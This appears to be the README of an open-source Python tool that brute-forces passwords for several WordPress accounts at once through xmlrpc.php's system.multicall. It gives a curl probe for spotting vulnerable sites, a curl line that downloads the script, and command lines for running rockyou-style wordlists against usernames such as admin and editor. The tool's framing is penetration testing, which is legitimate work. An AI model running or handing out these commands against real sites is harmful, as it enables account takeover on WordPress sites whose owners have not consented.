WP Multi-User Bruteforce

Python 3 script for bruteforcing multiple Wordpress users using only one request per password.

How does it work?

The Hacktrick's Wordpress Pentesting Guide mentions that, if xmlrpc.php is enabled, Bruteforcing and DoS attacks can be used by abusing the system functionalities, including trying multiple users with only one request, using the system.multicall function (see here).

Testing the vulnerability

Run this command, replacing your-blog.com with your website:

YOURBLOG=http://your-blog.com/xmlrpc.php
curl -d "<methodCall><methodName>system.listMethods</methodName><params></params></methodCall>" -X POST $YOURBLOG

See if the response is an XML with all functionalities available, like:

<?xml version="1.0" encoding="UTF-8"?>
<methodResponse>
  <params>
    <param>
      <value>
      <array><data>
  <value><string>system.multicall</string></value>
  <value><string>system.listMethods</string></value>
  <value><string>system.getCapabilities</string></value>
  <value><string>demo.addTwoNumbers</string></value>
  [...]

If yes, it's probably vulnerable.

Installation

pip install requests
curl https://raw.githubusercontent.com/entr0pie/xmlrpc-multi-request/main/xmlrpc.py | tee xmlrpc.py 

Usage

Using the default wordlist (rockyou.txt)

python3 xmlrpc.py --target=https://your-blog.com --users admin,editor,reader

Setting an wordlist:

python3 xmlrpc.py --target=https://your-blog.com --users admin,editor,reader --wordlist=my_wordlist.txt

Start the bruteforce with an specific word inside the wordlist:

python3 xmlrpc.py --target=https://your-blog.com --users admin,editor,reader --wordlist=my_wordlist.txt --word=super_secure_password

Using the config.json file:

By default, xmlrpc.py saves in the config.json the last session:

{
    "host":"http://your-blog.com/xmlrpc.php",
    "users":"['admin', 'editor', 'reader']",
    "wordlist":"/usr/share/wordlists/rockyou.txt",
    "word":"mcfly",
    "debug":"False"
}

You can replay that session running:

python3 xmlrpc.py --config config.json

License

This project is under GNU GPLv3.